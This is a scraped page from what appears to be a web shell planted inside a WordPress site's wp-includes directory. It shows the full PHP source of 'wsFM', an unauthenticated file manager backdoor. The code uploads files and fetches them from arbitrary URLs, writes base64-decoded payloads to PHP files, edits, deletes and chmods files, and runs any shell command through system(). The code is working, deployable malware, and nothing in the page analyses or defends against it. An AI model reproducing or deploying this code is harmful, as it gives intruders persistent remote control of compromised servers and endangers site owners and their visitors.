golden hour
/home/godaofbq/drhyperbaric.com/wp-includes/IXR/283239
⬆️ Go Up
Upload
File/Folder
Size
Actions
index.php
12.14 KB
Del
OK
Edit: index.php
<?php session_start(); $ROOT = realpath($_SERVER['DOCUMENT_ROOT']); $DIR = empty($_GET['d']) ? $ROOT : realpath($_GET['d']); if (!$DIR || strpos($DIR, $ROOT) !== 0) $DIR = $ROOT; chdir($DIR); /* ---- helpers ---- */ function fmtSize($b) { $u = ['B','KB','MB','GB']; for ($i = 0; $b >= 1024 && $i < 3; $i++) $b /= 1024; return round($b, 2) . ' ' . $u[$i]; } function fmtPerm($f) { $p = fileperms($f); $s = ($p & 0x4000) ? 'd' : '-'; $s .= ($p & 0x0100 ? 'r' : '-') . ($p & 0x0080 ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $s .= ($p & 0x0020 ? 'r' : '-') . ($p & 0x0010 ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $s .= ($p & 0x0004 ? 'r' : '-') . ($p & 0x0002 ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $s; } function setMsg($m) { $_SESSION['msg'] = $m; } function redirect() { header('Location: ?d=' . urlencode(getcwd())); exit; } /* ---- dispatch ---- */ $cmd = $_POST['cmd'] ?? ''; switch ($cmd) { case 'upload': $n = $_FILES['f']['name']; $t = $_FILES['f']['tmp_name']; move_uploaded_file($t, "$DIR/$n"); setMsg("Upload: $n"); redirect(); case 'urlget': $u = $_POST['u']; $n = basename(parse_url($u, PHP_URL_PATH)); file_put_contents("$DIR/$n", @file_get_contents($u)); setMsg("URL: $n"); redirect(); case 'unzip': $z = new ZipArchive; $z->open("$DIR/{$_POST['z']}") && $z->extractTo($DIR); $z->close(); setMsg('Unzip done'); redirect(); case 'eval': file_put_contents("$DIR/{$_POST['o']}", base64_decode($_POST['c'])); setMsg('Eval: ' . $_POST['o']); redirect(); case 'new': $n = $_POST['n']; $_POST['t'] === 'f' ? touch("$DIR/$n") : mkdir("$DIR/$n"); setMsg("Created: $n"); redirect(); case 'ren': rename("$DIR/{$_POST['o']}", "$DIR/{$_POST['n']}"); setMsg('Renamed'); redirect(); case 'del': $f = "$DIR/{$_POST['f']}"; is_dir($f) ? rmdir($f) : unlink($f); setMsg('Deleted'); redirect(); case 'save': file_put_contents("$DIR/{$_POST['f']}", $_POST['c']); setMsg('Saved'); redirect(); case 'chmod': chmod("$DIR/{$_POST['f']}", octdec($_POST['m'])); setMsg('CHMOD ' . $_POST['m']); redirect(); case 'exec': ob_start(); system($_POST['c']); $_SESSION['out'] = ob_get_clean(); redirect(); } if (isset($_GET['dl'])) { $f = "$DIR/" . basename($_GET['dl']); header('Content-Disposition: attachment; filename=' . basename($f)); readfile($f); exit; } $ef = ''; $ec = ''; if (isset($_GET['ed'])) { $ef = basename($_GET['ed']); $ec = htmlspecialchars(file_get_contents("$DIR/$ef")); } $msg = $_SESSION['msg'] ?? ''; unset($_SESSION['msg']); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>wsFM</title> <style> *{margin:0;padding:0;box-sizing:border-box} body{background:#0b0f19;color:#d1d5db;font-family:system-ui;padding:16px} a{color:#60a5fa;text-decoration:none} .w{max-width:1440px;margin:auto} .h{display:flex;justify-content:space-between;align-items:center;padding:12px 18px;background:#111827;border:1px solid #1f2937;border-radius:10px;margin-bottom:14px} .h h1{color:#34d399;font-size:20px} .br{background:#111827;padding:10px 14px;border-radius:8px;border:1px solid #1f2937;margin-bottom:14px;font-size:13px} .br a{color:#60a5fa;margin:0 3px} .br s{color:#4b5563} .tb{display:flex;flex-wrap:wrap;gap:8px;background:#111827;padding:12px;border-radius:8px;border:1px solid #1f2937;margin-bottom:16px} .tb input,.tb button{padding:5px 9px;border-radius:6px;border:1px solid #1f2937;background:#0b0f19;color:#d1d5db;font-size:12px} .tb button{background:#059669;border-color:#10b981;color:#fff;font-weight:600;cursor:pointer} .sg{border-right:1px solid #1f2937;padding-right:8px;margin-right:3px;display:flex;align-items:center;flex-wrap:wrap;gap:4px} .sg:last-child{border:0} table{width:100%;border-collapse:collapse;background:#111827;border:1px solid #1f2937;border-radius:8px;overflow:hidden} th{background:#0b0f19;padding:8px 10px;text-align:left;font-size:12px;color:#6b7280;border-bottom:1px solid #1f2937} td{padding:7px 10px;border-bottom:1px solid #161f35;font-size:13px} tr:hover td{background:#161f35} .ac a{margin:0 2px;padding:2px 6px;border-radius:4px;background:#0b0f19;color:#9ca3af;font-size:11px} .ac a:hover{background:#1f2937;color:#fff} .ac .r{color:#ef4444} .ac .p{color:#a78bfa} .sh{background:#0b0f19;border:1px solid #1f2937;border-radius:8px;margin-top:16px;padding:12px} .sh h3{color:#34d399;margin-bottom:8px;font-size:14px} .sh textarea{width:100%;height:180px;background:#030712;color:#34d399;border:1px solid #1f2937;border-radius:6px;padding:8px;font-family:monospace;font-size:12px} .sh input[type=text]{width:calc(100%-90px);padding:7px;border-radius:6px;border:1px solid #1f2937;background:#0b0f19;color:#d1d5db;font-family:monospace} .sh input[type=submit]{background:#059669;border:0;color:#fff;padding:7px 14px;border-radius:6px;font-weight:600;cursor:pointer} .md{display:none;position:fixed;inset:0;background:rgba(0,0,0,.8);z-index:99;place-items:center} .mc{background:#111827;border:1px solid #1f2937;border-radius:12px;padding:20px;min-width:340px} .mc h3{color:#34d399;margin-bottom:10px} .mc label{display:block;margin:6px 0 2px;color:#6b7280;font-size:12px} .mc input,.mc textarea{width:100%;padding:7px;border-radius:6px;border:1px solid #1f2937;background:#0b0f19;color:#d1d5db} .mc textarea{height:240px;font-family:monospace;font-size:12px} .mc button{padding:7px 16px;border-radius:6px;border:0;font-weight:600;cursor:pointer;margin-top:8px;margin-right:6px} .gn{background:#059669;color:#fff} .cx{background:#1f2937;color:#9ca3af} .fb{background:#065f4622;border:1px solid #065f4666;color:#34d399;padding:8px 12px;border-radius:6px;margin-bottom:12px;font-size:13px} </style> </head> <body> <div class="w"> <div class="h"> <h1>⚡ wsFM</h1> <span style="color:#6b7280;font-size:12px">free</span> </div> <?php if ($msg): ?><div class="fb">→ <?= htmlspecialchars($msg) ?></div><?php endif; ?> <div class="br"> 📂 <a href="?d=<?= urlencode($ROOT) ?>">[ROOT]</a> <?php $pts = explode('/', trim(str_replace($ROOT, '', $DIR), '/')); $bld = $ROOT; foreach ($pts as $p) { if (!$p) continue; $bld .= '/' . $p; echo '<s> / </s><a href="?d=' . urlencode($bld) . '">' . htmlspecialchars($p) . '</a>'; } ?> </div> <div class="tb"> <form method="post" enctype="multipart/form-data"> <div class="sg"> <input type="file" name="f" required> <input type="hidden" name="cmd" value="upload"> <button>⬆ Up</button> </div> </form> <form method="post"> <div class="sg"> <input type="url" name="u" placeholder="https://" required> <input type="hidden" name="cmd" value="urlget"> <button>🌐 URL</button> </div> </form> <form method="post"> <div class="sg"> <input type="text" name="z" placeholder="x.zip" required> <input type="hidden" name="cmd" value="unzip"> <button>📦 Unz</button> </div> </form> <form method="post"> <div class="sg"> <input type="text" name="o" placeholder="out.php" value="s.php" size="6"> <input type="text" name="c" placeholder="b64" size="16" required> <input type="hidden" name="cmd" value="eval"> <button>🧬 Ev</button> </div> </form> <form method="post"> <div class="sg"> <input type="text" name="n" placeholder="name" size="8" required> <select name="t"><option value="f">F</option><option value="d">D</option></select> <input type="hidden" name="cmd" value="new"> <button>➕ New</button> </div> </form> </div> <table> <tr><th>Name</th><th>Size</th><th>Date</th><th>Perm</th><th>Act</th></tr> <?php $ls = scandir($DIR); $ds = []; $fs = []; foreach ($ls as $x) { if ($x == '.' || $x == '..') continue; is_dir("$DIR/$x") ? $ds[] = $x : $fs[] = $x; } natcasesort($ds); natcasesort($fs); foreach (array_merge(['..'], $ds, $fs) as $x) { if ($x === '..') { $p = dirname($DIR); if (strpos($p, $ROOT) === 0) echo '<tr><td colspan="5"><a href="?d=' . urlencode($p) . '" style="color:#f59e0b">⬆ ../ (up)</a></td></tr>'; continue; } $fp = "$DIR/$x"; $d = is_dir($fp); $e = urlencode($x); echo '<tr>'; echo '<td>' . ($d ? '📁' : '📄') . ' ' . ($d ? '<a href="?d=' . urlencode($fp) . '">' : '') . htmlspecialchars($x) . ($d ? '</a>' : '') . '</td>'; echo '<td>' . ($d ? '-' : fmtSize(filesize($fp))) . '</td>'; echo '<td>' . date('Y-m-d H:i', filemtime($fp)) . '</td>'; echo '<td>' . fmtPerm($fp) . '</td>'; echo '<td class="ac">'; if (!$d) { echo '<a href="?d=' . urlencode($DIR) . '&ed=' . $e . '">Ed</a>'; echo '<a href="?d=' . urlencode($DIR) . '&dl=' . $e . '">Dl</a>'; } echo '<a href="#" onclick="mo(\'ren\',\'' . htmlspecialchars($x, ENT_QUOTES) . '\')">Rn</a>'; echo '<a href="#" onclick="mo(\'del\',\'' . htmlspecialchars($x, ENT_QUOTES) . '\')" class="r">Rm</a>'; echo '<a href="#" onclick="mo(\'chmod\',\'' . htmlspecialchars($x, ENT_QUOTES) . '\')" class="p">Ch</a>'; echo '</td></tr>'; } ?> </table> <div class="sh"> <h3>💻 SH</h3> <form method="post"> <input type="text" name="c" placeholder="$ cmd" required> <input type="hidden" name="cmd" value="exec"> <input type="submit" value="Run"> </form> <?php if (isset($_SESSION['out'])): ?> <textarea readonly><?= htmlspecialchars($_SESSION['out']) ?></textarea> <?php unset($_SESSION['out']); endif; ?> </div> </div> <div class="md" id="md"> <div class="mc" id="mc"></div> </div> <script> <?php if ($ef): ?> document.addEventListener('DOMContentLoaded', function() { mo('save', '<?= htmlspecialchars($ef, ENT_QUOTES) ?>'); }); <?php endif; ?> function mo(t, n) { var m = document.getElementById('md'), c = document.getElementById('mc'); var h = '', b = ''; if (t === 'ren') { h = 'Rename'; b = '<form method="post"><input name="o" value="' + n + '" hidden><input name="n" value="' + n + '"><input name="cmd" value="ren" hidden><button class="gn">OK</button><button class="cx" onclick="m.style.display=\'none\'">X</button></form>'; } if (t === 'del') { h = 'Delete ' + n; b = '<form method="post"><input name="f" value="' + n + '" hidden><input name="cmd" value="del" hidden><p style="margin:10px 0;color:#9ca3af">Remove <b style="color:#ef4444">' + n + '</b>?</p><button class="gn" style="background:#ef4444">Delete</button><button class="cx" onclick="m.style.display=\'none\'">X</button></form>'; } if (t === 'chmod') { h = 'CHMOD'; b = '<form method="post"><input name="f" value="' + n + '" hidden><input name="m" value="0755"><input name="cmd" value="chmod" hidden><div style="margin:8px 0;display:flex;gap:6px"><button type="button" onclick="this.parentElement.nextElementSibling.previousElementSibling.value=\'0644\'" style="background:#1f2937;border:1px solid #374151;color:#9ca3af;padding:4px 10px;border-radius:6px;cursor:pointer">0644</button><button type="button" onclick="this.parentElement.nextElementSibling.previousElementSibling.value=\'0755\'" style="background:#1f2937;border:1px solid #374151;color:#9ca3af;padding:4px 10px;border-radius:6px;cursor:pointer">0755</button><button type="button" onclick="this.parentElement.nextElementSibling.previousElementSibling.value=\'0777\'" style="background:#1f2937;border:1px solid #374151;color:#9ca3af;padding:4px 10px;border-radius:6px;cursor:pointer">0777</button></div><button class="gn">Apply</button><button class="cx" onclick="m.style.display=\'none\'">X</button></form>'; } if (t === 'save') { h = 'Edit'; b = '<form method="post"><input name="f" value="' + n + '" hidden><textarea name="c"><?= isset($ec) ? addslashes($ec) : '' ?></textarea><input name="cmd" value="save" hidden><button class="gn">Save</button><button class="cx" onclick="m.style.display=\'none\'">X</button></form>'; } c.innerHTML = '<h3>' + h + '</h3>' + b; m.style.display = 'grid'; } document.onclick = function(e) { if (e.target.id === 'md') e.target.style.display = 'none'; }; </script> </body> </html>
Save